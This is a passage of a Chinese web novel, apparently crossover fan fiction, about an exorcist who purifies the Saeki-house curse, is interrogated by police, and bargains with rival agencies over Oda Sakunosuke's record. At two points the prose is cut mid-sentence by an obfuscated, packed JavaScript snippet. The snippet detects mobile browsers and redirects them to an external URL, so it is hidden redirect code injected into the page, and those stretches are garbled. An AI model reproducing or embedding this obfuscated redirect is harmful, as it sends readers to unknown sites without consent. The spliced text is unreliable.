他现在算是知道恐怖电影里那些被鬼抓住就被动僵直的家伙都在搞什么了,是真的动不了,动不了啊,哈哈哈,哈哈哈哈…… #%&#%&#&% 松田阵平是个挺有礼貌的人,就算平时说话不算客气,那也是在大环境的称托下显得不那么客气——他只是不喜欢和谁说话都用敬语,敬语难道不是只对值得的人使用的吗?——可现在,他满脑子垃圾话,开不了口,就在心里骂。大概是负面情绪的影响,大概是被自己无能为力的现状激起了强烈的反抗心理。 他从来不是个逆来顺受的乖宝宝。 伽椰子消失的那一刻,松田阵平浑身的劲仿佛也跟着消失了,他汗如雨下,脱力瘫倒在地,又被人左右架了起来。荻原研二从他的衣兜里摸出了那个换了张纸包着的碎头发,丢了出去,紧接着,开始喊松田阵平的名字。 “别喊了,我好着呢。” 松田阵平有气无力的回应,他的状态看上去不太好,但比之前吉川惠子揍完伽椰子之后的惨状好了太多。 荻原研二检查了一下松田阵平被伽椰子碰过的地方,发现并没有冻伤的痕迹,也不知道是什么原理,总归看起来没有太大的问题。 荻原研二松了口气。 “先出去。” 警部心知不能再继续待在这里,得先把这几个人弄出去,于是直接上手抢过了伊达航的工作,扶住了松田阵平的另一边,将人往门口带。 而吉川惠子,在看到夏楠的瞬间就已经跑到了和室的门口,她的手里还捏着刀,脸上带着点狰狞的肃杀,看起来和平时那个软萌软萌的姑娘完全是两个人。 和室通往正门的狭窄过道旁边就是佐伯宅的楼梯口,警察一行人一出和室,就看到了呈对峙状的夏楠和黑山。 一方脸色阴沉,一方嘴角含笑,旁边还站了个举着摄像的吉川惠子。 饶是见过许多大场面的东京警视厅非日常事件对策处理部的负责人之一的警部,在看到这样的场景时,脑子里都蹦出了一个大大的问号。 对峙也就算了,这位姑娘,刚刚从灵异事件脱身的你不想着怎么离开是非之地,反而举着个摄像机站在这里当片场工作人员,这…… 啊? 原本内心对黑山磨磨唧唧不干活的怒火都被眼前的场景给打了个岔。 就在这时,‘幻觉’再次袭来。 泛黄的旧照,上世纪的装潢,爬楼梯的女鬼,猫叫的小男孩,还有神出鬼没的、镶边,又不那么镶边的…… 松田阵平抬手虚弱的按住了脑袋,“hagi,我感觉有点不太对……” 警部看了眼松田阵平,忽然松开了扶着人的手,紧接着,双手做了个两人都看不大明白的手势,对着松田阵平,肃着脸,口中念道,“嗡,嘛呢,叭咪,吽!” 奇特的韵律,奇怪的发音。 荻原研二眼睁睁的看着几道黑色的半透明影子在这句古怪的话音落下的瞬间从松田阵平的身体里弹了出去。 弹出去。 几道。 头皮发麻。 …… 夏楠手执代偿小人,笑眯眯的看着眼前黑着脸的黑山,他并不知道这个胡子中年的真实姓名,不然多少得评价一句——人如其名。 “惠子,记住,我是唯一的主角,其它的边角料不配入镜。” “好的,夏目先生。”吉川惠子十分认真的回答,她甚至调整了一下站位,就为了把在镜头角落里的家伙排除出去。 听到这两句对话的几名警察:…… 黑山不着痕迹的扫了一眼一边的警察,开口,“果然是你在使役它们!” 夏楠依旧笑眯眯的,“惠子,知道面对蠢货的指控的时候,需要怎么做吗?” “不知道,夏目先生觉得呢?”惠子十分上道的回答。 “什么都不做,”夏楠说道,语调轻快,“对蠢货说教没有任何意义。” 黑山的脸更黑了。 伽椰子已经触摸到了夏楠的裤腿,佐伯俊雄对着夏楠张大了嘴,附身失败的佐伯刚雄举着刀,满脸阴恻恻的站在楼梯边,用一种令人十分不适的眼神看着夏楠。 这栋房子里挤满了被吞噬的灵魂,他们被困在死前的恐惧和绝望之中不得解脱,一切的一切都成为了佐伯家诅咒的饲料,供它驱使,助它成长。 “咯咯咯咯咯咯咯——” 伽椰子的手已经搭在了夏楠的肩头。 很惊悚的画面,只是被围攻的人实在过于淡定,有点破坏氛围。 警部皱着眉头,结印的双手对准了夏楠的方向…… “请您不要碍事,”时刻注意着他们的吉川惠子转过了脑袋,面无表情的看向他,“夏目先生好不容易把她们都钓过来,请您,不要碍事。” 结束这一切的机会就在眼前。 十年了。 她找了那么久,那么久,能终结这里的诅咒的人,能结束这一切的人。 终于找到了,终于。 不论是谁,想要打扰到夏目先生,她决不允许! 警部打算念咒的动作一停——她们? 像是老旧电视信号不良一样闪屏出现在了现实中。 刺啦——刺啦—— 在黑白交错的间隙,一个穿着病号服的小女孩,突然出现在了黑山身边。 是…… “芙季绘?!”警部惊讶出声。 同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597747|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样注意到的黑山神色莫名,他走开两步,挪动两步,似是拉开距离防备一样,离芙季绘远了一点。 “一只不够,还要招来第二只吗?”黑山义正言辞的斥责,从袖子里摸出一张符来,“既然如此今日我便在此,替除妖师协会清理门户!” 夏楠贯彻自己不与蠢货论长短的作风,他只是看芙季绘,嘴角的笑意加深,“终于来了。” 夏楠完全无视的态度让黑山心里打突,但是,箭在弦上不得不发。 这小子被女鬼抓住半天了,为什么还好好的站在那里?还有那些警察,为什么他们也能好好的站在那里? 他做了什么? 算了……只要把现场的人都…… 黑山满心盘算,正打算动手。 另一边,被‘伽椰子’当人形爬爬架挂了半天的夏楠终于动了。 惠子的气息真好用啊——夏楠想道。 修长的手指相对,将代偿小人夹在了中间。夏楠也结了一个印,其实对他来说,不结也完全没问题,但是,为了观赏性嘛,可以小小牺牲一下。 黑山丢过来的符像是飞到一半就泄气的皮球一样掉在了地上。 在芙季绘的瞪视下,楼梯的扶手,身边的墙面纷纷开裂,室内开始摇晃,仿佛地震来临。 夏楠站的可稳当。 他张开了口。 “青华长乐界,东极妙严宫……九色莲花座,十方救苦尊……”轻柔的诵念,低垂的睫眸,好似有光……不,是真的有光,那光并不刺眼,却真实的存在着,“……愿垂道力,救度幽魂……” 夏楠念的是中文。 在场没人能听的懂中文,除了夏楠。可那悲悯的神色,柔和如歌的颂念,让人不自觉的放松下来。 斑驳的老照片滤镜在缓缓褪去——啊,原来真的是光,是来自现实世界的曙光。 “……小阵平,这也是……幻觉?” 一个个身影自还未完全褪去的咒怨世界中显现,有西装革履的青年、有身穿的剑道服的小小少年、有面容温柔的妇女、有穿着警服的大叔。年轻的夫妇、年老的长者、结伴的学生,抓着足球的幼童…… 一个接一个,一个接一个。 那么多,那么多。 他们纷纷迎着光,带着解脱的微笑,向着夏楠的方向走去。 “哎,你已经长这么大了啊,小花,”抓着练习用木刀的少年来到了吉川惠子面前,带着点感慨,有带着点伤感,“可恶,这样我就算马上投胎,也完全赶不及了啊……” 吉川惠子的手在抖,她几乎拿不稳摄像。 不,不可以,这是夏目先生交给她的工作,她帮不上什么忙,这是她唯一能做的,唯一能做的。 “你别哭啊……”小小少年微微踮起脚尖,抬起手,想要擦掉吉川惠子脸上源源不断的泪痕。 他擦不到,他当然擦不到。 小小少年的手顿住了,他有些落寞的将手收了回来,看着自己的手心,“对哦,我已经死了啊……” 吉川惠子再也忍不住,呜咽出声。 15.十五 夏楠兴冲冲的伸着手——还没被拷过,想趁着这次体验体验,很正常的,对吧。 机会难得啊~ 松田阵平满脸无语,荻原研二看了看夏楠,噗的一声笑了出来。 “行,拷。”面对夏楠那张兴致颇高的脸,松田阵平也跟着笑。 荻原研二十分配合的走到伊达航身边顺手铐,中途灵巧的避开了黑山气急败坏不停挥舞的手臂,这人一直在说话,可惜没人想搭理他,除了伊达航。 负责任的大块头警察一直在对着他不厌其烦的重复‘请配合调查’、‘请保持冷静’之类的话。 至于夏楠,他如愿以偿的被拷进了警局。 还拜托吉川惠子给带着手铐的自己和佐伯宅合了个影,说要回去裱起来挂墙上。 心情复杂的吉川惠子:…… 有夏目先生在,什么伤感什么悔恨什么自责,都得排在他的需求后面。夏目先生总有让人认真听他讲话的神奇能力,大概这就是属于强者的游刃有余……吧。 但到底,在松田阵平和荻原研二的刻意配合下,在警部睁一只眼闭一只眼的放纵下,被支使来支使去不得不去仔细完成夏楠的要求的吉川惠子身上那股浓重的自厌自弃的气息,散去了许多。 —————— “姓名?” “夏楠。” “……本国姓名?” “夏目楠。” “性别?” 夏楠沉默。 认真的? 他回答,“沃#玛购物袋。” “……什么?” “我的性别,沃#玛购物袋。” …… 记录上性别那一栏被果断填了‘男性’。 放过自己,也放过这场问话。 “年龄?” 夏楠想了想:“记的不是很清楚了,三百多?” …… 年龄那一栏被果断填了十七。 还是那句话,放过自己,也放过这场问话。 “来东京的目的?” “完成委托。” “什么委托?” “无可奉告。” “……” 主导问话的人是伊达航,他听到这句无可奉告后看了眼夏楠,对方笑眯眯的摊坐在椅子里,两条长腿一曲一放,就算被禁锢了自由也依旧一副游刃有余的模样。 “理由?” “委托人的隐私保护。” 的确是合适的理由,伊达航看了眼一边的单向玻璃,又收回视线,开始接着往下问。 “你是什么时候开始接触到佐伯家的诅咒的?” 第一次在审讯室里问这种问题,伊达航一时间有些放不开,讲道理,在昨晚之前,他还是个坚定的唯物主义信仰者。 “昨天。”夏楠回答。 “有证据么?” “时间线,活动轨迹,算么?”夏楠的手里捏着手铐的链子在玩,审讯室的椅子上自带的手铐,链子还挺长。也有脚拷,只是他们没给他带。 “具体一些。” “我到横滨以后从未来过东京,这是第一次,而我之前一直很忙,没有时间来东京和佐伯家的诅咒面基,”夏楠很配合,“够具体了么,警官先生?” 在没人注意到的衣领缝隙里,一只小小的,色彩斑斓的小蜘蛛正藏在那里,仔细看,并不是活物。 伊达航沉默。 的确很具体,和调查的一致,夏目楠从抵达日本到昨天这段时间的确没有离开过横滨。 他内心默默吐槽——黑山为什么会选夏目来栽赃,人刚刚回国啊,这个人做事不动脑的么? 吐槽归吐槽,流程还是要继续走。 “在今天凌晨两点到四点这个时间段,你在哪里,在做什么?” “佐伯宅,监工。” “在昨天中午十二点到下午三点这个时间段,你在哪里,在做什么?” “中午的话,刚起床,还在横滨,之后就在车上。” “昨天下午六点到八点这个时间段,你在哪里,在做什么?” “六点……刚到东京?之后的话,在佐伯宅,监工,”夏楠笑了笑,“你知道的,我们这些可恶的社长,一般不干活。” 噗—— 在伊达航旁边和他搭档审讯的老资历被这句话逗笑了,又一秒严肃。 伊达航:…… 其实从审讯的人员配置上就能看出来,这次只是走个过场,让伊达航熟悉熟悉新的流程。 当然,也有让夏楠放松警惕的意思,毕竟还有许多存疑的地方需要调查。 “今天早上,你对名为‘伽椰子’的个体说‘还有一片你在哪里’,是什么意思?” “字面意思,”夏楠比划了一下,“切片,懂吗?” 压阵的老资历终于肯开口了,“切片的意思是,分裂?”他看着夏楠,“这是可能的吗?” “如果不可能,芙季绘是什么?” “所以,是主动分裂?”老资历说道,“你是怎么确定这件事的?” “想多了,警官,”夏楠笑眯眯的单手撑着脑袋,“我不确定,但我会猜,我这个人,闲的没事干就喜欢乱猜。” “然后一猜一个准?” “准吗?”夏楠依旧笑眯眯,“那可真是太好了。” 老资历:…… 不好搞啊。 别看人年纪小,心态可真稳,普通人遇到这种阵仗,多少都会露点东西,不论是神态上,还是语言上。 寻常的审讯手段拿不住他。 老资历不说话了,他示意伊达航继续问。 “和你一起来的探灵社社员还有两名,他们去了哪里?” “去玩了吧。” “明明在工作途中,他们自己跑去玩?” “我社一向是这种氛围。” “为什么探灵社的员工登记记录里,这两个人不存在?” “系统故障。” 伊达航:…… “告诉我他们的名字。” “代号A,和代号K,”夏楠看向伊达航,“你不是知道吗?” 不,他不知道——伊达航默默反驳。 “据我所知,其中一个叫千寻,另一个叫织田。” 夏楠默了一下,他叹了口气,“……怪我。” 怪他不严谨。 伊达航拒绝去想这句怪我的具体意思,他继续问,“他们现在在哪里?” “……在某个地方聚在一起吐槽社长?”夏楠有些不确定的说。 “夏目先生,我强调一遍,你现在有很大的嫌疑,请你积极配合我们的调查。” “我很积极啊,我都主动被拷 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“看起来是真的不像十七岁,”一个穿着正装的人说道,“我现在宁愿相信那份档案是真的了,还有那两个失踪的社员,查到人在哪了吗?” 站在他身边的人摇了摇头。 “留存的视频内找不到那两个人的痕迹,很明显已经被处理过了,我们的人追查他们的车辆,追丢了,那个据说一直抱着电脑的少年,很可能是个黑客。至于另一个,履历估计也不干净。” “横滨啊……” 横滨的大小□□与暗势力十分之多,地下世界错综复杂,还有一定的自治权,警视厅这边想要继续调查,恐怕很困难,那边会不会配合可不好说。如果那两个人是地下世界出身,确实不会愿意和警方有太多接触,被抓到就更不可能了。 问题是—— 说话的人看着审讯是里年轻到甚至还没成年的男性,“他是怎么知道的?” 提前知道他们会去实施控制,难不成是消息走漏了? “确定不是异能力者?” “确定,的确不是。” 有人叹了口气,“军警那边可不好糊弄啊,这次横滨警视厅内部出了这么大的问题,总归得给他们一个说法。” 警务部门在横滨那些大小势力的眼里几乎形同虚设,远不如军警来的有影响力,这次又出了这样的事,横滨警视厅那边要是拿不出个能让各方都满意的处理办法,警务系统在横滨的处境,只会越发边缘化。 “难啊……” 只这件事,倒是的确和审讯室里的少年……算了,这个气质叫少年实在违和……和审讯室里的青年以及他名下的探灵社,没有任何关系。 …… 审讯室内的气氛有些僵持,老资历警官不打算开口,伊达航正在琢磨怎么将问询继续进行下去。 就在这时,审讯室的门突然开了,一名穿着干练的女士走了进来,她看了一眼夏楠,微微点头致意,接着走向了两名主导问询的警官,压低声音说了两句话。 紧接着,这位女士直起身,站在了后面一点的位置。 这是不打算出去了。 夏楠看了看她——不是警服,至少不是明面上的警务人员。 后面的家伙终于肯露头了吗? 16.十六 “如果我说,我可以帮探灵社洗白织田作之助的档案呢?” 夏楠毫无其它反应,“织田的话,就算不洗白,也没什么妨碍。” “哦?”种田山头火有些意外,“你应该知道,雇佣一个履历不清白的人,会给探灵社带来什么影响吧。” 夏楠笑了笑,“您误会了,我的意思是,洗白织田这一个总会有机会去做的小事,完全够不上抵消我的身价。” “小事。” 种田山头火重复了一遍夏楠的用词,他认真的看着眼前过分年轻的青年,对方似笑非笑的表情下,表现出来的漫不经心。 没有放在心上,小事。 ——不是谎言,他是真的这样认为的。 种田山头火做出了判断。 “原来不是么……” “不是什么?” “不,”种田山头火直视夏楠的双岩,“没什么,只是有些疑惑。” “什么疑惑,”夏楠微微侧身,“和我有关?” “确实是有那么一点关系。” 判断失误么…… 种田山头火微微沉思。 这次发生的一连串事件背后,军警、警视厅,原本只是两家之间的博弈,却因为一次意外,将一个新成立不久的探灵社也牵扯了进来。 意外,真的只是意外么…… 而有关探灵社的故事,又总给他一种——早有设计——的感觉。 一个隐藏在幕后的推手,围绕着探灵社,做了这么多小动作…… 如果不是探灵社自己动的手,又会是谁? 如果不是为了织田作之助的档案洗白,又能为了什么? 他们当然查过探灵社,很干净。手续干净,过往干净,社长干净,唯一不干净的,只有社员。那个叫吉川惠子的姑娘的身份问题有产屋敷背书,查不出底细的黑客也有表面干净的履历档案,只有织田作之助。 唯有织田作之助。 可眼前这位刚刚回国的青年却否定了这个猜测。 又或者,他只是并不知情? 种田山头火心里刚刚冒出这个想法,就被自己掐灭了。 人精一样的小鬼,怎么可能不知情。 ——原来如此,顺势而为么。 “小友可知,由探灵社发现的那份遗物,被人掉包了。” “哦?”夏楠故作惊讶,“还有这种事?” 种田山头火并不戳穿夏楠拙劣的演技,“而就在今早,东西又被寄回了军警手中。” “最普通的邮件,什么都不知道的邮递员和邮递公司,没有任何遗留痕迹,更无法追溯寄件源头。” “……哇。” 确实第一次听到这个消息的夏楠真情实感的惊讶了,“什么人这么闲?” “闲?”种田山头火颇有压迫感的看着夏楠,“这就是你的评价?” 对这种程度的压迫完全免疫的夏楠自然的回答,“不然呢?偷了再送回去,不就是闲的么。” “听起来小友完全不知情。” “不用听起来,”夏楠摊开手掌,“我确实不知情。” “那,既然小友如今知道了,可有想法?” “什么想法?” “偷东西的人。” 夏楠想了想,他的脑子里第一时间蹦出来的就是动漫中太宰治的那张脸,“大概……是个挺厉害的人?” 能从军警的手里将东西无声无息的换出来,这种事,可不是一般人能做到的。 种田山头火对这个评价不置可否,他欲再出言试探,眼角余光瞥到了一个正在接近的身影,于是将话又咽了回去。 夏楠当然也看到了来人,他毫不遮掩脸上扩大的笑意,“种田先生,趁着人还没过来,您再加加价?” 种田山头火叹了一声,“军警的作风总是如此。” 车窗被再次敲响了。 是那位在警局时有过一面之缘的女士。 女士拉开了车门,先对着夏目点头示意,接着面向坐的稳稳当当的种田山头火开口,“种田长官,你们聊完了么?”说着,不等种田山头火的回应,“如果暂时达不成一致,不如先让我来。” 夏楠好整以暇的靠坐在一旁看戏。 种田山头火一动不动,只露出一点疑惑,“……你是?” “敝姓渡边,隶属军警,”渡边女士简短的回答,“很抱歉打扰了二位,只是我接下来还有别的工作,为了节省时间,不得已才如此行事。” “你打伤了我的人。” “根据东京都交通管制安全条例规定,异能特务科无权在未经许可的情况下于公共区域进行封路操作。” “我只是让他们暂时失去了行动力。” “军警的人没有封路?” “请称呼我们的行为为友好劝离。” 这位女士做派十分雷厉风行的样子,眼见种田山头火没有让开的意思,直接越过人对着夏楠开口,“夏目先生,我被授权与您进行交涉,请问您是否愿意成为军警方的灵异事件特别顾问?” 夏楠:……哇哦。 该说不愧是军人么,这种完全不绕圈子的做派。 他毫不遮掩的瞥了一眼脸色沉沉的种田山头火,回答,“探灵社从不做白工。” “当然,该有的报酬军警不会拖欠。” “种田长官刚刚可还和我说,能帮我洗白织田作之助的档案呢。”夏楠一点犹豫都没有的把种田山头火给卖了。 种田山头火再次叹气。 失策了,这次真的失策。 一个不按常理出牌的夏目楠,一个做事毫不讲究的军警。 “这样么……”渡边的耳边带着单侧耳机,显然正在与什么人保持联系,“……军警方可以为织田作之助进行担保,但前提条件是,夏目社长您必须成为织田作之助的监管人。” “如果他在被监管期间有任何不当行为,监管人同罪。” “被监管期间?” “两年,”渡边女士说道,“两年后,织田作之助的档案可以重建。在这两年内,织田作之助不能独自离开横滨,如有离开需求,监管人必须同行,且需要进行报备。” “这样啊……”原来洗白的流程是这样的么。 他喜欢这种高效的交流方式。 和种田山头火聊天可太麻烦了。 夏楠继续说道,“还有一件事,我们原本请求军警方协调的是进入拍摄与调查许可,为什么会变成合作呢?” 渡边女士再次沉默。 过了一会儿,她回答,“是我们的疏忽,关于这一点,向您郑重道歉。” “只是道歉么,”夏楠笑了笑,“我倒是很好奇,是故意疏忽,还是不小心疏忽?” 渡边女士三度沉默。 “……夏目先生,我们需要确认您的能力。” 居然直接把推荐信的事揽到自己身上了。 夏楠:…… 厉害了渡边女士,厉害了联络另一头的不知名人士。 势在必得啊。 虽然他自认值得这样的争抢,但总觉得有些莫名其妙。 至于么? 夏楠原本的计划,只是秀秀操作,取代所谓的除妖师协会成为警视厅新任的对灵异事件专门合作方,并借着伽椰子的事给织田作之助争取到洗白的机会。 对种田山头火说的那句——没想到他会来——是实打实的发自真心。 难道是出了什么事? 别告诉他这里还综了什么高魔设定的动漫…… 疑惑被毫不遮掩的写在了脸上。 旁听了一会儿的种田山头火注意到夏楠的神色,叹息一声,“看来小友对自己的价值没有清晰的认知啊——” 他改变了策略,既然军警走直球风格,那他就算忽悠不到人,也得给对方添点堵。 “神、妖、鬼,小友刚刚归来,或许还不了解这个国度的情况,”种田山头火说道,“类似佐伯宅的诅咒一类的东西正越来越多,如此不讲道理的猎杀,总得有人处理。” 夏楠问道,“除妖师协会呢?” “寻常妖鬼作恶除妖师协会或能处理,但更多的时候,如佐伯宅诅咒一类的东西,都是很难解决,乃至根除的。” 种田山头火看向一脸夸张的‘真的假的’的表情的夏楠,“如今,小友可明白,自己的价值了?” 明白什么?把领域内最强的那个掌握在自己的手里么? “我当然知道自己的价值,”夏楠说道,“或者说能力,”他歪了歪头,“我只是没想到,其他人……这么废?” 废…… 种田山头火:现在的年轻人说话都是这种风格么? “除妖师协会的几名高层倒是有些本事,只是,到底与我等的行事风格有些差异,仅数人,也无法顾及多处。” 渡边女士接话道,“军警方希望您能优先处理军警的委托事项,这是我们的需求。” “在与其它势力委托冲突时,最优先。” 种田山头火说道,“异能特务课也能做到同样的事。” 织田作之助的危险等级并不高,人格侧写也很平和,威胁性并不大,只能说走错了路。异能特务科不介意给对方提供一次机会,这也是他能心平气和的在这里与夏楠聊洗白的最重要的原因。 …… 另一边,夏楠依旧很疑惑。 招揽的理由倒是有了解释,但…… 他看了看两人,“二位这么急,难道是发生什么事了么?” 渡边女士:…… 种田山头火:…… 双双沉默。 这就有点难以启齿了。 夏楠看了一会儿,看出点门道来。 他微微眯起眼:“你们……不会擅自……” 种田山头火轻轻咳了一声。 哦。 很好。 未经许可潜入探灵社结果惹了一身诅咒,眼见兜不住了于是干脆省略了观察和试探过程直接过来摊牌,是吧。 在夏楠的约束(恐吓)下,探灵社里寄居的诅咒可是已经饿了很长一段时间。 一开始只是想着拿那个源头不知道躲在哪里的头发诅咒钓别的东西的夏楠沉默了。 说起来,为了锁定源头他还往诅咒里面加了点料来着。 也不知道他们找没找别的除妖师,虽然找了也没用。 不伦如何——意外之喜啊! 夏楠好容易忍住笑,开口,“说吧,失踪了几个。” —————— 不大的停车场,只零星停了几辆车。停车场的出入口处,几名身穿制服的人与几名便装人员呈对峙的站位,一左一右,门神一样立在入口两侧。而在两方人马中间,站了一个人。 先出来的是种田山头火。 “哦?”他有些惊讶的看着出入口处被拦在那里的人,“只有你么。” 渡边跟在后面,她对着穿制服的那几人点了点头,无视了另一波的瞪视,看向了中间站着的那个人,“织田作之助。” 织田作之助开口,‘夏目在哪里?’ “在里面,”渡边上下扫了一遍织田作之助,说道,“你有一位好上司。” “啊,”织田作之助举步往停车场内走去,“我知道。” —————— 夏楠从自己的衣领里抠出缩成一团的蜘蛛形态监听器,凑近看了看。 “那个已经没用了。” 信号在种田山头火出现的时候就已经中断,为了防止意外,千寻直接销毁了与这一条信号相关联的所有数据。 有人拉开驾驶室的车门,坐了进来。 “小织。” “嗯。” 夏楠打开车窗,将指尖的蜘蛛弹了出去。 被弹出去的蜘蛛在空中刺啦一声,等掉到地上时,已经变的焦黑。 “要做我两年的挂件哦,形影不离的那种。” “好。” “开心吗?” “……” “不许说还好,”夏楠软塌塌窝在椅背里,“快说开心。” “开心。” 车内安静下来。 夏楠闭上了眼睛。 过了很久,又或许没多久。 织田作之助回过头,看向了夏楠。 闭着眼睛,仰靠在椅背上,姿态放松的夏楠。 “夏目。” “嗯?” “谢谢你。” 夏楠笑了,“你不该只谢我,小织,我不过卜了一卦,探灵社在这次事件中也受益颇多,”他语调轻柔的说,“那个为你殚精竭虑的人,你该好好感谢他。” “啊,”织田作之助回答,“我会的。” “走吧,回警局。” “好。” 织田作之助没问为什么,只是发动车子。 夏楠闭目养神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611508|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次性为探灵社搞定了军警和异能特务科两大官方组织,在他还只把目光放在新手友好的警视厅的时候。 只因为织田作之助选择了探灵社。 该说不愧是你么,太宰治。 —————— 【探灵社新出的‘咒怨’大家都看了么?】 【1L:RT,楼主看的一身鸡皮疙瘩,太可怕了,居然还有那样的地方】 【2L:看完了,我去搜了一下,东京练马区佐伯宅,那边已经公示要推平建公园了】 【3L:都被净化了,有必要吗?】 【4L:说到净化,最后那一段可真帅啊,虽然老大的脸被码了,但马赛克也挡不住老大的帅气!】 【5L:只有我觉得伽椰子很可怜吗?】 【6L(回复5L):还有我,小俊雄也很可怜,摊上那样的父亲真的太可怕了】 【8L(回复3L):你没听后面那段吗?咒怨已经出现通过网络散播的迹象,为了不让它再次聚集到能伤人的程度,要利用流通的人气和真相揭露来消除流言和臆测产生的不好的念力,让它没有可依附的媒介,什么的,总之是有必要的】 【12L:我找到了警方之前的公告,图.jpg,佐伯刚雄是因为发现了妻子暗恋自己儿子老师的日记,愤怒之下做出的不理智行为】 【15L(回复12L):你想说什么?】 【16L(回复15L):我想说,如果不是伽椰子率先精神出轨,后面的事情也不会发生】 【18L(回复16L):来了来了,受害者有罪论永不缺席(呕吐)】 【20L:按照探灵社社长的说法,伽椰子本身应该应该具有潜在的灵感能力,佐伯宅又有了一定的象征性,只单单清除一个是不行的】 【21L:如果有被杀的人会形成咒怨这种等式,横滨早就被各种咒怨吞没了吧】 【22L:楼上你别吓我,谢谢】 【25L:虽然没怎么听懂,但是知道了一件事——人的大脑可真神奇啊】 …… 【38L:说起被杀,最近大家晚上都不要出门乱晃了,特别是家里有小孩子长着红头发的,一定要看住不能让孩子出门】 【41L:唉——也就网上还有一片净土,横滨这座城市真的,还不如被咒怨吞了】 【42L:别说这种话,会好起来的】 【55L(回复38L):为什么是红头发的小孩子啊?】 【71L(回复55L):谁知道,那些家伙杀人还需要理由吗?】 …… 【100L:话又说回来,[一段截取的视频]虽然咒语的部分被模糊处理了,但是从吐字节奏上来看,老大好像说的不是日语啊】 【103L:因为探灵社社长是海外长大的,据说是混血,这些术法什么的,可能是在海外学的?】 【105L:那就能说的通了】 —————— 探灵社放了假。 作为社长的夏楠紧急将军警和异能特务科消失的人给捞了回来,又给还没来得及被掳走但是已经摸进过探灵社的人发了御守,叮嘱一定要带满十天不离身后,终于迎来了休息时间。 千寻在咒怨事件完结以后就回了博多,吉川惠子心不在焉了一段时间,终于在某一天向夏楠提出了想要请假去处理一些私事的请求。 本来就在考虑休假的夏楠干脆大手一挥,为吉川惠子和织田作之助批了整整一周的带薪假期,连带着千寻的奖金一并,给三人发了个大大的红包。 “好好玩,玩开心。” 因为种种原因最后没有成行的游乐园团建换成了带薪休假,也算兑现了自己的承诺。 吉川惠子道谢后就离开了,织田作之助被夏楠赶出家门社交,夏楠自己则是手机关机,电话拔线,在二楼睡的昏天暗地,昼夜不分。 在冰箱库存耗尽的一天下午,睡的头发乱翘的夏楠打算出门觅食,在院门边看到了一个侧躺在地上,缩成一团的少年。 绷带,黑发,衬衫,单薄。 血迹。 夏楠往院门外迈的脚停住了。 他侧头看了一会儿地上一动不动的少年。 清秀的侧脸,苍白的皮肤。 夏楠摸了摸口袋,从里面掏出了手机,摁亮屏幕,紧急拨号一号键。 一把枪顶在了夏楠的额头上。 耳边的嘟嘟声并未持续多久,电话已经接通。 “夏目,你睡好了么。” “刚醒。” 夏楠说道。 对面的少年还没长开的样子,个头才到夏楠的鼻尖,举着枪的手腕纤细,一副没有好好照顾自己的模样。看过来的视线冷漠中带着警告,可惜夏楠不吃这一套。 “有人找你,回来一趟吧,小织。” “好。” 电话挂断了。 抵在额头的枪从头到尾仿佛摆设一样,持枪的人明了手中的东西起不到任何作用,于是又将它收了回去。 夏楠摁住了转身欲离开的少年的肩膀。 “别走啊,小织的朋友,”夏楠笑眯眯的开口,“来都来了,进来坐坐?” “还是说……你其实已经进来过了?” 少年:“……” “从别人那里弄到了御守?” 夏楠发御守发两个没什么别的说法,单纯以防使用者毛手毛脚,丢了一个还能有一个备份在,减少因为这种莫名其妙的原因而导致的多余的麻烦发生的几率。 这样未雨绸缪的习惯,倒是方便了少年行事。 少年:“……” 夏楠的手只是放在少年的肩膀上,没怎么用力的样子。想要离开的少年却仿佛被定身了一样,在原地一动不动。 “小织应该马上就到。”夏楠摁着人的手微微松开,转而牵起了少年细瘦的手腕。 他的动作快的出奇,明明一副没怎么锻炼过的样子,却能做到让人没有任何反应时间。 “走吧,进去坐。” 出口的每一个字,轻飘飘的,好像棉花糖,尾音微微卷起,是很特别的发音习惯。 全程只能被操控的少年终于开口。 夕阳的余晖柔和了他冷淡的眉眼,“你是什么?” 夏楠牵着人往回走,“试图碰瓷的家伙没资格向社长提问,有什么想说的,等一会儿,去和万能的助理先生说吧。” 17.十七 不大的会客厅。 长沙发上仰躺着半睡半醒的夏目,单人沙发中瘫坐着无精打采的太宰治。 这是织田作之助回到探灵社时,第一眼看到的场景。 仿佛一首被什么人强行关闭音量,呈现出无声片段的激昂音乐;又似一场充满表演张力,却严禁演员发声的对抗剧目。 织田作之助垂在身侧的手手指动了动。 他想起了自己与太宰的初遇——那个时候,少年迎着枪口,手指一下一下点着自己的额头,说着‘不对准这里是杀不死我的哦’,脸上却是‘如孩童般、仿佛下一秒就会哭出来’的神情。 他又想起了自己与夏目的初遇——那个时候,青年转过身,手里提着文件袋,微微后仰的站姿,浅浅勾起的嘴角,面对陌生人的搭话,礼貌询问‘你是?’,眼中只有‘仿佛早已洞悉一切的平静’。 ——想要成为一个小说家。 去写‘人是怎么活的,怎么死的’,放下枪,只拿起纸和笔。 织田作之助的心底突然涌起一股冲动,一股强烈的,想要写些什么的冲动。 许多认识太宰治的人,对他的评价是‘可怕’、‘没有感情’;许多认识夏目楠的人,对他的评价是‘温柔’、‘孩子气’。 当两个人相互吸引,无论内心如何反抗,都无法斩去那想要接近,与碰触的渴望。 —————— 夏楠正研究自己的金手指。 在与军警和异能特务科确认了织田作之助相关都各项事宜之后,自从录用织田作之助以来就一直没再动过的进度条终于有了明显的变化——它往前前进了一节——对比曾经的蠕动,这一小节,简直是质的飞跃。 